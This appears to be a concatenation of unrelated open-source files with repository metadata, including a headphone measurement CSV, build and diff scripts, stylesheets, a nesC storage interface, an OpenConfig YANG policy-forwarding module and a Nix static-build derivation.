49.46,-6.80
49.96,-6.78
50.46,-6.77
50.96,-6.77
51.47,-6.77
51.99,-6.78
52.51,-6.78
53.03,-6.78
53.56,-6.78
54.10,-6.78
54.64,-6.77
55.18,-6.76
55.74,-6.74
56.29,-6.72
56.86,-6.68
57.42,-6.62
58.00,-6.56
58.58,-6.50
59.16,-6.45
59.76,-6.41
60.35,-6.38
60.96,-6.34
61.57,-6.30
62.18,-6.27
62.80,-6.24
63.43,-6.20
64.07,-6.16
64.71,-6.12
65.35,-6.09
66.01,-6.07
66.67,-6.05
67.33,-6.02
68.01,-6.00
68.69,-5.97
69.37,-5.95
70.07,-5.93
70.77,-5.92
71.48,-5.91
72.19,-5.91
72.91,-5.91
73.64,-5.92
74.38,-5.93
75.12,-5.93
75.87,-5.93
76.63,-5.93
77.40,-5.93
78.17,-5.93
78.95,-5.93
79.74,-5.93
80.54,-5.93
81.35,-5.93
82.16,-5.92
82.98,-5.91
83.81,-5.91
84.65,-5.91
85.50,-5.92
86.35,-5.93
87.22,-5.95
88.09,-5.98
88.97,-6.00
89.86,-6.03
90.76,-6.06
91.66,-6.09
92.58,-6.12
93.51,-6.15
94.44,-6.18
95.39,-6.21
96.34,-6.23
97.30,-6.25
98.28,-6.27
99.26,-6.28
100.25,-6.28
101.25,-6.27
102.27,-6.26
103.29,-6.26
104.32,-6.25
105.37,-6.25
106.42,-6.25
107.48,-6.25
108.56,-6.25
109.64,-6.25
110.74,-6.25
111.85,-6.25
112.97,-6.25
114.10,-6.25
115.24,-6.25
116.39,-6.25
117.55,-6.25
118.73,-6.25
119.92,-6.26
121.12,-6.26
122.33,-6.27
123.55,-6.28
124.79,-6.28
126.03,-6.27
127.29,-6.25
128.57,-6.23
129.85,-6.21
131.15,-6.18
132.46,-6.15
133.79,-6.12
135.12,-6.09
136.48,-6.06
137.84,-6.03
139.22,-6.00
140.61,-5.97
142.02,-5.95
143.44,-5.93
144.87,-5.92
146.32,-5.91
147.78,-5.91
149.26,-5.91
150.75,-5.92
152.26,-5.93
153.78,-5.93
155.32,-5.93
156.88,-5.93
158.44,-5.93
160.03,-5.93
161.63,-5.92
163.24,-5.91
164.88,-5.91
166.53,-5.91
168.19,-5.92
169.87,-5.94
171.57,-5.96
173.29,-5.98
175.02,-6.01
176.77,-6.03
178.54,-6.06
180.32,-6.08
182.13,-6.11
183.95,-6.14
185.79,-6.18
187.65,-6.22
189.52,-6.26
191.42,-6.30
193.33,-6.33
195.27,-6.36
197.22,-6.39
199.19,-6.41
201.18,-6.44
203.19,-6.47
205.23,-6.51
207.28,-6.56
209.35,-6.61
211.44,-6.66
213.56,-6.71
215.69,-6.77
217.85,-6.82
220.03,-6.88
222.23,-6.94
224.45,-6.99
226.70,-7.06
228.96,-7.14
231.25,-7.21
233.57,-7.28
235.90,-7.36
238.26,-7.43
240.64,-7.50
243.05,-7.57
245.48,-7.65
247.93,-7.72
250.41,-7.80
252.92,-7.88
255.45,-7.96
258.00,-8.02
260.58,-8.09
263.19,-8.16
265.82,-8.23
268.48,-8.30
271.16,-8.37
273.87,-8.44
276.61,-8.50
279.38,-8.55
282.17,-8.61
284.99,-8.66
287.84,-8.70
290.72,-8.74
293.63,-8.79
296.57,-8.83
299.53,-8.86
302.53,-8.88
305.55,-8.89
308.61,-8.89
311.69,-8.89
314.81,-8.87
317.96,-8.83
321.14,-8.77
324.35,-8.70
327.59,-8.63
330.87,-8.55
334.18,-8.46
337.52,-8.35
340.90,-8.23
344.30,-8.10
347.75,-7.95
351.23,-7.79
354.74,-7.61
358.28,-7.42
361.87,-7.24
365.49,-7.06
369.14,-6.87
372.83,-6.67
376.56,-6.48
380.33,-6.28
384.13,-6.09
387.97,-5.90
391.85,-5.71
395.77,-5.53
399.73,-5.35
403.72,-5.18
407.76,-5.01
411.84,-4.85
415.96,-4.70
420.12,-4.55
424.32,-4.41
428.56,-4.28
432.85,-4.14
437.18,-4.01
441.55,-3.88
445.96,-3.77
450.42,-3.66
454.93,-3.55
459.48,-3.45
464.07,-3.36
468.71,-3.26
473.40,-3.17
478.13,-3.08
482.91,-3.00
487.74,-2.92
492.62,-2.83
497.55,-2.74
502.52,-2.65
507.55,-2.57
512.62,-2.50
517.75,-2.42
522.93,-2.34
528.16,-2.27
533.44,-2.20
538.77,-2.14
544.16,-2.08
549.60,-2.02
555.10,-1.96
560.65,-1.89
566.25,-1.83
571.92,-1.78
577.64,-1.72
583.41,-1.67
589.25,-1.63
595.14,-1.59
601.09,-1.54
607.10,-1.48
613.17,-1.43
619.30,-1.38
625.50,-1.35
631.75,-1.32
638.07,-1.28
644.45,-1.23
650.89,-1.19
657.40,-1.14
663.98,-1.10
670.62,-1.06
677.32,-1.01
684.10,-0.96
690.94,-0.91
697.85,-0.88
704.83,-0.85
711.87,-0.83
718.99,-0.81
726.18,-0.78
733.44,-0.75
740.78,-0.71
748.19,-0.68
755.67,-0.65
763.23,-0.62
770.86,-0.60
778.57,-0.58
786.35,-0.56
794.22,-0.53
802.16,-0.51
810.18,-0.48
818.28,-0.45
826.46,-0.42
834.73,-0.39
843.08,-0.36
851.51,-0.33
860.02,-0.31
868.62,-0.29
877.31,-0.26
886.08,-0.23
894.94,-0.20
903.89,-0.17
912.93,-0.15
922.06,-0.14
931.28,-0.12
940.59,-0.11
950.00,-0.09
959.50,-0.08
969.09,-0.06
978.78,-0.05
988.57,-0.03
998.46,-0.00
1008.44,0.02
1018.53,0.05
1028.71,0.09
1039.00,0.12
1049.39,0.15
1059.88,0.18
1070.48,0.20
1081.19,0.22
1092.00,0.24
1102.92,0.25
1113.95,0.26
1125.09,0.25
1136.34,0.25
1147.70,0.24
1159.18,0.23
1170.77,0.23
1182.48,0.23
1194.30,0.23
1206.25,0.23
1218.31,0.23
1230.49,0.23
1242.80,0.23
1255.22,0.23
1267.78,0.23
1280.45,0.23
1293.26,0.23
1306.19,0.23
1319.25,0.23
1332.45,0.23
1345.77,0.23
1359.23,0.24
1372.82,0.24
1386.55,0.25
1400.41,0.26
1414.42,0.25
1428.56,0.24
1442.85,0.23
1457.28,0.21
1471.85,0.18
1486.57,0.17
1501.43,0.15
1516.45,0.12
1531.61,0.09
1546.93,0.05
1562.40,0.01
1578.02,-0.03
1593.80,-0.07
1609.74,-0.12
1625.84,-0.17
1642.10,-0.22
1658.52,-0.28
1675.10,-0.34
1691.85,-0.40
1708.77,-0.45
1725.86,-0.52
1743.12,-0.59
1760.55,-0.67
1778.15,-0.75
1795.94,-0.83
1813.90,-0.91
1832.03,-0.99
1850.36,-1.07
1868.86,-1.17
1887.55,-1.27
1906.42,-1.37
1925.49,-1.48
1944.74,-1.59
1964.19,-1.72
1983.83,-1.85
2003.67,-1.98
2023.71,-2.12
2043.94,-2.28
2064.38,-2.44
2085.03,-2.60
2105.88,-2.75
2126.94,-2.91
2148.20,-3.07
2169.69,-3.24
2191.38,-3.41
2213.30,-3.58
2235.43,-3.73
2257.78,-3.90
2280.36,-4.07
2303.17,-4.24
2326.20,-4.40
2349.46,-4.55
2372.95,-4.71
2396.68,-4.88
2420.65,-5.05
2444.86,-5.20
2469.31,-5.36
2494.00,-5.52
2518.94,-5.68
2544.13,-5.86
2569.57,-6.01
2595.27,-6.16
2621.22,-6.32
2647.43,-6.47
2673.90,-6.64
2700.64,-6.80
2727.65,-6.96
2754.93,-7.13
2782.48,-7.31
2810.30,-7.49
2838.40,-7.67
2866.79,-7.85
2895.46,-8.04
2924.41,-8.23
2953.65,-8.43
2983.19,-8.65
3013.02,-8.86
3043.15,-9.09
3073.58,-9.33
3104.32,-9.58
3135.36,-9.84
3166.72,-10.11
3198.38,-10.39
3230.37,-10.69
3262.67,-11.01
3295.30,-11.36
3328.25,-11.72
3361.53,-12.10
3395.15,-12.49
3429.10,-12.89
3463.39,-13.28
3498.03,-13.65
3533.01,-13.99
3568.34,-14.30
3604.02,-14.55
3640.06,-14.76
3676.46,-14.90
3713.22,-14.97
3750.36,-14.95
3787.86,-14.87
3825.74,-14.70
3864.00,-14.46
3902.64,-14.17
3941.66,-13.82
3981.08,-13.43
4020.89,-13.00
4061.10,-12.56
4101.71,-12.12
4142.73,-11.68
4184.15,-11.27
4226.00,-10.88
4268.26,-10.50
4310.94,-10.15
4354.05,-9.83
4397.59,-9.56
4441.56,-9.31
4485.98,-9.11
4530.84,-8.94
4576.15,-8.79
4621.91,-8.69
4668.13,-8.61
4714.81,-8.57
4761.96,-8.56
4809.58,-8.58
4857.67,-8.62
4906.25,-8.67
4955.31,-8.74
5004.87,-8.83
5054.91,-8.95
5105.46,-9.07
5156.52,-9.19
5208.08,-9.31
5260.16,-9.42
5312.77,-9.52
5365.89,-9.60
5419.55,-9.66
5473.75,-9.69
5528.49,-9.69
5583.77,-9.68
5639.61,-9.65
5696.00,-9.57
5752.96,-9.50
5810.49,-9.40
5868.60,-9.28
5927.28,-9.16
5986.56,-9.02
6046.42,-8.86
6106.89,-8.69
6167.96,-8.52
6229.64,-8.35
6291.93,-8.17
6354.85,-7.98
6418.40,-7.79
6482.58,-7.60
6547.41,-7.44
6612.88,-7.29
6679.01,-7.16
6745.80,-7.03
6813.26,-6.92
6881.39,-6.84
6950.21,-6.76
7019.71,-6.69
7089.91,-6.64
7160.81,-6.60
7232.41,-6.57
7304.74,-6.55
7377.79,-6.54
7451.56,-6.55
7526.08,-6.56
7601.34,-6.58
7677.35,-6.62
7754.13,-6.67
7831.67,-6.75
7909.98,-6.85
7989.08,-6.99
8068.98,-7.19
8149.67,-7.43
8231.16,-7.69
8313.47,-7.97
8396.61,-8.27
8480.57,-8.58
8565.38,-8.90
8651.03,-9.21
8737.54,-9.50
8824.92,-9.79
8913.17,-10.06
9002.30,-10.32
9092.32,-10.56
9183.25,-10.78
9275.08,-10.98
9367.83,-11.14
9461.51,-11.27
9556.12,-11.39
9651.68,-11.49
9748.20,-11.56
9845.68,-11.62
9944.14,-11.68
10043.58,-11.72
10144.02,-11.74
10245.46,-11.75
10347.91,-11.75
10451.39,-11.76
10555.91,-11.78
10661.46,-11.80
10768.08,-11.85
10875.76,-11.94
10984.52,-12.08
11094.36,-12.27
11205.31,-12.52
11317.36,-12.81
11430.53,-13.14
11544.84,-13.50
11660.29,-13.89
11776.89,-14.29
11894.66,-14.69
12013.60,-15.06
12133.74,-15.39
12255.08,-15.67
12377.63,-15.89
12501.41,-16.03
12626.42,-16.08
12752.68,-16.04
12880.21,-15.93
13009.01,-15.75
13139.10,-15.51
13270.49,-15.23
13403.20,-14.92
13537.23,-14.61
13672.60,-14.30
13809.33,-14.01
13947.42,-13.76
14086.90,-13.54
14227.77,-13.37
14370.04,-13.24
14513.74,-13.15
14658.88,-13.10
14805.47,-13.09
14953.52,-13.10
15103.06,-13.13
15254.09,-13.20
15406.63,-13.30
15560.70,-13.43
15716.30,-13.61
15873.47,-13.84
16032.20,-14.14
16192.52,-14.51
16354.45,-14.93
16517.99,-15.39
16683.17,-15.86
16850.01,-16.34
17018.51,-16.83
17188.69,-17.30
17360.58,-17.73
17534.18,-18.10
17709.53,-18.41
17886.62,-18.65
18065.49,-18.82
18246.14,-18.95
18428.60,-19.01
18612.89,-19.03
18799.02,-19.00
18987.01,-18.91
19176.88,-18.77
19368.65,-18.58
19562.33,-18.34
19757.96,-18.04
19955.54,-17.70
| CSV | 2 | vinzmc/AutoEq | measurements/referenceaudioanalyzer/data/onear/HDM-X/SoundMAGIC P10S/SoundMAGIC P10S.csv | [
"MIT"
] |
#!/bin/ksh
rm diff.out
touch diff.out
for i in *.[ch]; do
diff -u -I'\$OpenBSD' $i /usr/src/usr.bin/tmux/$i >diff.tmp
set -- `wc -l diff.tmp`
[ $1 -eq 8 ] && continue
echo $i
cat diff.tmp >>diff.out
done
| Shell | 3 | listx/tmux | tools/cmp-cvs.sh | [
"ISC"
] |
diff --git syntaxes/01_Packages/C#/C#.sublime-syntax syntaxes/01_Packages/C#/C#.sublime-syntax
index ed494f8b..01b710e8 100644
--- syntaxes/01_Packages/C#/C#.sublime-syntax
+++ syntaxes/01_Packages/C#/C#.sublime-syntax
@@ -1312,7 +1312,7 @@ contexts:
2: punctuation.separator.cs
3: punctuation.section.brackets.end.cs
4: keyword.operator.pointer.cs
- - match: \((?=(?:[^,)(]*|\([^\)]*\))*,)
+ - match: \((?=(?:[^,)(]|\([^\)]*\))*,)
scope: punctuation.section.group.begin.cs
push:
- meta_scope: meta.group.tuple.cs
| Diff | 2 | JesseVermeulen123/bat | assets/patches/C#.sublime-syntax.patch | [
"Apache-2.0",
"MIT"
] |
#pragma once
#include <torch/optim/adagrad.h>
#include <torch/optim/adam.h>
#include <torch/optim/adamw.h>
#include <torch/optim/lbfgs.h>
#include <torch/optim/optimizer.h>
#include <torch/optim/rmsprop.h>
#include <torch/optim/sgd.h>
#include <torch/optim/schedulers/lr_scheduler.h>
#include <torch/optim/schedulers/step_lr.h>
| C | 2 | Hacky-DH/pytorch | torch/csrc/api/include/torch/optim.h | [
"Intel"
] |
html, body{
font-family: Raleway, serif;
background-color: #f5f5f5;
}
.navbar
{
background-color: #63b175 !important;
}
.navbar-brand
{
font-size: 1.75rem;
font-weight: bold;
}
/*
hr{
border: 0px dotted rgba(249, 249, 249, 0.88);
}*/
hr {
border: 0;
border-bottom: 1px dashed #969595;
background: #969595;
}
label{
font-weight: bold;
} | CSS | 3 | DBatOWL/tutorials | spring-security-modules/spring-security-web-boot-3/src/main/resources/static/main.css | [
"MIT"
] |
TDSmalltalkLeafNode {
#name : 'rx',
#contents : '| wc snapshot orgDef categoryString versionInfo messageString |\nwc := MCWorkingCopy allManagers detect: [ :each | each packageName = \'Issue72\' ].\nsnapshot := wc package snapshot.\norgDef := snapshot definitions detect: [ :each | each isOrganizationDefinition ].\ncategoryString := #(73 115 115 117 101 55 50 45 71 108 195 162 115 195 164 115 115 101)\n asByteArray decodeFromUTF8.\norgDef categories includes: categoryString.\nversionInfo := wc ancestry ancestors first.\nmessageString := #(73 110 116 114 111 100 117 99 101 32 85 84 70 56 32 99 104 97 114 97 99 116 101 114 115 32 105 110 116 111 32 116 104 101 32 109 111 110 116 105 99 101 108 108 111 46 109 101 116 97 47 118 101 114 115 105 111 110 32 102 105 108 101 58 13 13 76 105 116 104 117 97 110 105 97 110 58 32 65 197 161 32 103 97 108 105 117 32 118 97 108 103 121 116 105 32 115 116 105 107 108 196 133 32 105 114 32 106 105 115 32 109 97 110 196 153 115 32 110 101 197 190 101 105 100 197 190 105 97 13 32 32 82 117 115 115 105 97 110 58 32 208 175 32 208 188 208 190 208 179 209 131 32 208 181 209 129 209 130 209 140 32 209 129 209 130 208 181 208 186 208 187 208 190 44 32 208 190 208 189 208 190 32 208 188 208 189 208 181 32 208 189 208 181 32 208 178 209 128 208 181 208 180 208 184 209 130 46 13 32 32 75 111 114 101 97 110 58 32 235 130 152 235 138 148 32 236 156 160 235 166 172 235 165 188 32 235 168 185 236 157 132 32 236 136 152 32 236 158 136 236 150 180 236 154 148 46 32 234 183 184 235 158 152 235 143 132 32 236 149 132 237 148 132 236 167 128 32 236 149 138 236 149 132 236 154 148 13 32 32 72 101 98 114 101 119 58 32 215 144 215 160 215 153 32 215 153 215 155 215 149 215 156 32 215 156 215 144 215 155 215 149 215 156 32 215 150 215 155 215 149 215 155 215 153 215 170 32 215 149 215 150 215 148 32 215 156 215 144 32 215 158 215 150 215 153 215 167 32 215 156 215 153 46 13 32 32 76 97 116 105 110 58 32 86 105 116 114 117 109 32 101 100 101 114 101 32 112 111 115 115 117 109 59 32 109 105 104 105 32 110 111 110 32 110 111 99 101 116 46)\n asByteArray decodeFromUTF8.\nversionInfo message = messageString'
} | STON | 1 | dalehenrich/filetree | tode/rx.ston | [
"MIT"
] |
export AMPLXE_EXPERIMENTAL=1
/Users/wenshao/Install/vtune/amplxe-cl -collect hotspots java -classpath target/classes/:target/test-classes/ com.alibaba.json.test.benchmark.BenchmarkMain
| Shell | 1 | Czarek93/fastjson | vtune.sh | [
"Apache-2.0"
] |
/**
* Copyright (c) 2005-2006 Arch Rock Corporation
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* - Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the
* distribution.
* - Neither the name of the Arch Rock Corporation nor the names of
* its contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* ARCHED ROCK OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
* OF THE POSSIBILITY OF SUCH DAMAGE
*/
/**
* Write interface for the block storage abstraction described in
* TEP103.
*
* @author Jonathan Hui <[email protected]>
* @version $Revision: 1.6 $ $Date: 2008-06-04 03:00:25 $
*/
#include "Storage.h"
interface BlockWrite {
/**
* Initiate a write operation within a given volume. On SUCCESS, the
* <code>writeDone</code> event will signal completion of the
* operation.
* <p>
* Between two erases, no byte may be written more than once.
*
* @param addr starting address to begin write.
* @param 'void* COUNT(len) buf' buffer to write data from.
* @param len number of bytes to write.
* @return
* <li>SUCCESS if the request was accepted,
* <li>EINVAL if the parameters are invalid
* <li>EBUSY if a request is already being processed.
*/
command error_t write(storage_addr_t addr, void* buf, storage_len_t len);
/**
* Signals the completion of a write operation. However, data is not
* guaranteed to survive a power-cycle unless a sync operation has
* been completed.
*
* @param addr starting address of write.
* @param 'void* COUNT(len) buf' buffer that written data was read from.
* @param len number of bytes written.
* @param error SUCCESS if the operation was successful, FAIL if
* it failed
*/
event void writeDone(storage_addr_t addr, void* buf, storage_len_t len,
error_t error);
/**
* Initiate an erase operation. On SUCCESS, the
* <code>eraseDone</code> event will signal completion of the
* operation.
*
* @return
* <li>SUCCESS if the request was accepted,
* <li>EBUSY if a request is already being processed.
*/
command error_t erase();
/**
* Signals the completion of an erase operation.
*
* @param error SUCCESS if the operation was successful, FAIL if
* it failed
*/
event void eraseDone(error_t error);
/**
* Initiate a sync operation to finalize writes to the volume. A
* sync operation must be issued to ensure that data is stored in
* non-volatile storage. On SUCCES, the <code>syncDone</code> event
* will signal completion of the operation.
*
* @return
* <li>SUCCESS if the request was accepted,
* <li>EBUSY if a request is already being processed.
*/
command error_t sync();
/**
* Signals the completion of a sync operation. All written data is
* flushed to non-volatile storage after this event.
*
* @param error SUCCESS if the operation was successful, FAIL if
* it failed
*/
event void syncDone(error_t error);
}
| nesC | 5 | mtaghiza/tinyos-main-1 | tos/interfaces/BlockWrite.nc | [
"BSD-3-Clause"
] |
.reset-modal p {
color: var(--danger-color);
}
.reset-modal-header {
color: var(--danger-color);
background-color: var(--danger-background);
}
.reset-modal-header h4 {
color: var(--danger-color);
}
.reset-modal-header .close {
color: var(--danger-color);
font-size: 28px;
text-shadow: none;
}
@media screen and (max-width: 767px) {
.reset-modal .btn-lg {
font-size: 16px;
}
}
| CSS | 3 | fcastillo-serempre/freeCodeCamp | client/src/templates/Challenges/components/reset-modal.css | [
"BSD-3-Clause"
] |
submodule openconfig-pf-forwarding-policies {
belongs-to openconfig-policy-forwarding {
prefix "oc-pf";
}
import openconfig-extensions { prefix "oc-ext"; }
import openconfig-packet-match { prefix "oc-pmatch"; }
import ietf-yang-types { prefix "yang"; }
import ietf-inet-types { prefix "inet"; }
include openconfig-pf-path-groups;
organization
"OpenConfig working group";
contact
"OpenConfig working group
www.openconfig.net";
description
"This submodule contains configuration and operational state
relating to the definition of policy-forwarding policies.";
oc-ext:openconfig-version "0.2.0";
revision "2017-06-21" {
description
"Amend policy forwarding model based on ACL changes.";
reference "0.2.0";
}
revision "2017-02-28" {
description
"Initial public release of policy forwarding.";
reference "0.1.0";
}
revision "2016-11-08" {
description
"Initial revision";
reference "0.0.1";
}
grouping pf-forwarding-policy-structural {
description
"Structural grouping defining forwarding policies under the
policy- forwarding module.";
container policies {
description
"Forwarding policies defined to enact policy-based forwarding
on the local system.";
list policy {
key "policy-id";
description
"A forwarding policy is defined to have a set of match
criteria, allowing particular fields of a packet's header to
be matched, and a set of forwarding actions which determines
how the local system should forward the packet.";
leaf policy-id {
type leafref {
path "../config/policy-id";
}
description
"Reference to the identifier for the forwarding-policy.";
}
container config {
description
"Configuration options relating to the forwarding
policy.";
uses pf-forwarding-policy-config;
}
container state {
config false;
description
"Operational state parameters relating to the forwarding
policy.";
uses pf-forwarding-policy-config;
}
container rules {
description
"The criteria that should be matched for a packet to be
forwarded according to the policy action.";
list rule {
key "sequence-id";
description
"A match rule for the policy. In the case that multiple
criteria are specified within a single ";
leaf sequence-id {
type leafref {
path "../config/sequence-id";
}
description
"A unique sequence identifier for the match rule.";
}
container config {
description
"Configuration parameters relating to the match
rule.";
uses pf-forwarding-policy-rule-config;
}
container state {
config false;
description
"Operational state parameters relating to the match
rule.";
uses pf-forwarding-policy-rule-config;
uses pf-forwarding-policy-rule-state;
}
uses oc-pmatch:ethernet-header-top;
uses oc-pmatch:ipv4-protocol-fields-top;
uses oc-pmatch:ipv6-protocol-fields-top;
uses oc-pmatch:transport-fields-top;
container action {
description
"The forwarding policy action to be applied for
packets matching the rule.";
container config {
description
"Configuration parameters relating to the forwarding
rule's action.";
uses pf-forwarding-policy-action-config;
}
container state {
config false;
description
"Operational state parameters relating to the
forwarding rule's action.";
uses pf-forwarding-policy-action-config;
}
}
}
}
}
}
}
grouping pf-forwarding-policy-config {
description
"Configuration parameters relating to the forwarding policy.";
leaf policy-id {
type string;
description
"A unique name identifying the forwarding policy. This name is
used when applying the policy to a particular interface.";
}
}
grouping pf-forwarding-policy-rule-config {
description
"Configuration parameters relating to a policy rule.";
leaf sequence-id {
type uint32;
description
"Unique sequence number for the policy rule.";
}
}
grouping pf-forwarding-policy-rule-state {
description
"Operational state parameters relating to a policy rule.";
leaf matched-pkts {
type yang:counter64;
description
"Number of packets matched by the rule.";
}
leaf matched-octets {
type yang:counter64;
description
"Bytes matched by the rule.";
}
}
grouping pf-forwarding-policy-action-config {
description
"Forwarding policy action configuration parameters.";
leaf discard {
type boolean;
default false;
description
"When this leaf is set to true, the local system should drop
packets that match the rule.";
}
leaf decapsulate-gre {
type boolean;
default false;
description
"When this leaf is set to true, the local system should remove
the GRE header from the packet matching the rule. Following
the decapsulation it should subsequently forward the
encapsulated packet according to the relevant lookup (e.g., if
the encapsulated packet is IP, the packet should be routed
according to the IP destination).";
}
leaf network-instance {
type leafref {
// We are at:
// $NIROOT/policy-forwarding/policies/
// policy/rules/rule/action/config/
// network-instance
path "../../../../../../../../config/name";
}
description
"When this leaf is set, packets matching the match criteria
for the forwarding rule should be looked up in the
network-instance that is referenced rather than the
network-instance with which the interface is associated.
Such configuration allows policy-routing into multiple
sub-topologies from a single ingress access interface, or
different send and receive contexts for a particular
interface (sometimes referred to as half-duplex VRF).";
}
leaf path-selection-group {
type leafref {
// We are at:
// $NIROOT/policy-forwarding/policies/
// policy/rules/rule/action/config/to-path-group
path "../../../../../../../path-selection-groups/" +
"path-selection-group/config/group-id";
}
description
"When path-selection-group is set, packets matching the
match criteria for the forwarding rule should be forwarded
only via one of the paths that is specified within the
referenced path-selection-group. The next-hop of the packet
within the routing context should be used to determine between
multiple paths that are specified within the group.";
}
leaf next-hop {
type inet:ip-address-no-zone;
description
"When an IP next-hop is specified in the next-hop field,
packets matching the match criteria for the forwarding rule
should be forwarded to the next-hop IP address, bypassing any
lookup on the local system.";
}
}
}
| YANG | 5 | meodaiduoi/onos | models/openconfig/src/main/yang/policy-forwarding/[email protected] | [
"Apache-2.0"
] |
public final class Constructors /* Constructors*/ {
private final int valInPrimary;
private Constructors();// .ctor()
public Constructors(@org.jetbrains.annotations.NotNull() java.lang.String);// .ctor(java.lang.String)
public Constructors(int);// .ctor(int)
public final int getValInPrimary();// getValInPrimary()
} | Java | 3 | Mu-L/kotlin | compiler/testData/asJava/lightClasses/Constructors.java | [
"ECL-2.0",
"Apache-2.0"
] |
create database sqlmodedb;
| SQL | 0 | WizardXiao/tidb | br/tests/lightning_sqlmode/data/sqlmodedb-schema-create.sql | [
"Apache-2.0"
] |
(defprolog foobar
foo <--;)
(defprolog foobars
X <-- (findall X [foobar X] Foobars) (return Foobars);)
(prolog? (findall X [foobar X] Foobars))
(prolog? (findall X [foobar X] Foobars) (return Foobars)
| Shen | 2 | ragnard/shen-truffle | src/test/resources/custom-test-programs/prolog_fail.shen | [
"BSD-3-Clause"
] |
<html>
<head></head>
<body>
<h1>This is the body of the sample view</h1>
</body>
</html> | Java Server Pages | 1 | zeesh49/tutorials | spring-security-mvc-digest-auth/src/main/webapp/WEB-INF/view/homepage.jsp | [
"MIT"
] |
def «» := not
theorem thm : «» false := id
#print «»
#print thm | Lean | 2 | ericrbg/lean | tests/lean/empty_french_quote.lean | [
"Apache-2.0"
] |
' setchannelvolume.bmx
timer=CreateTimer(20)
sound = LoadSound ("shoot.wav")
For volume#=.1 To 2 Step .05
WaitTimer timer
channel=CueSound(sound)
SetChannelVolume channel,volume
ResumeChannel channel
Next
| BlitzMax | 3 | jabdoa2/blitzmax | mod/brl.mod/audio.mod/doc/setchannelvolume.bmx | [
"Zlib"
] |
# Derive a fully static Haskell package based on musl instead of glibc.
{ nixpkgs, compiler, patches, allOverlays }:
name: src:
let
# The nh2/static-haskell-nix project does all the hard work for us.
static-haskell-nix =
let
rev = "bd66b86b72cff4479e1c76d5916a853c38d09837";
in
builtins.fetchTarball {
url = "https://github.com/nh2/static-haskell-nix/archive/${rev}.tar.gz";
sha256 = "0rnsxaw7v27znsg9lgqk1i4007ydqrc8gfgimrmhf24lv6galbjh";
};
patched-static-haskell-nix =
patches.applyPatches "patched-static-haskell-nix"
static-haskell-nix
[
# No patches currently required.
];
patchedNixpkgs =
patches.applyPatches "patched-nixpkgs"
nixpkgs
[
patches.nixpkgs-openssl-split-runtime-dependencies-of-static-builds
];
extraOverrides =
final: prev:
rec {
# We need to add our package needs to the package set that we pass to
# static-haskell-nix. Using callCabal2nix on the haskellPackages that
# it returns would result in a dynamic build based on musl, and not the
# fully static build that we want.
"${name}" = prev.callCabal2nix name src { };
};
overlays =
[
allOverlays.postgresql-future
allOverlays.postgresql-default
(allOverlays.haskell-packages { inherit compiler extraOverrides; })
# Disable failing tests for postgresql on musl that should have no impact
# on the libpq that we need (collate.icu.utf8 and foreign regression
# tests)
(self: super:
{ postgresql = super.postgresql.overrideAttrs (_: { doCheck = false; }); }
)
];
# Apply our overlay to the given pkgs.
normalPkgs =
import patchedNixpkgs { inherit overlays; };
defaultCabalPackageVersionComingWithGhc =
{
ghc8107 = "Cabal_3_2_1_0";
}."${compiler}";
# The static-haskell-nix 'survey' derives a full static set of Haskell
# packages, applying fixes where necessary.
survey =
import "${patched-static-haskell-nix}/survey" { inherit normalPkgs compiler defaultCabalPackageVersionComingWithGhc; };
in
survey.haskellPackages."${name}"
| Nix | 5 | fairhopeweb/postgrest | nix/static-haskell-package.nix | [
"MIT"
] |
/****************************************************************************
*
* Copyright (c) 2018 PX4 Development Team. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in
* the documentation and/or other materials provided with the
* distribution.
* 3. Neither the name PX4 nor the names of its contributors may be
* used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
* COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
* AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*
****************************************************************************/
/**
* @@file FlightTasks_generated.hpp
*
* Generated Header to list all required flight tasks
*
* @@author Christoph Tobler <christoph@@px4.io>
*/
#pragma once
// include all required headers
#include "FlightModeManager.hpp"
@# loop through all requested tasks
@[if tasks]@
@[for task in tasks]@
#include "FlightTask@(task).hpp"
@[end for]@
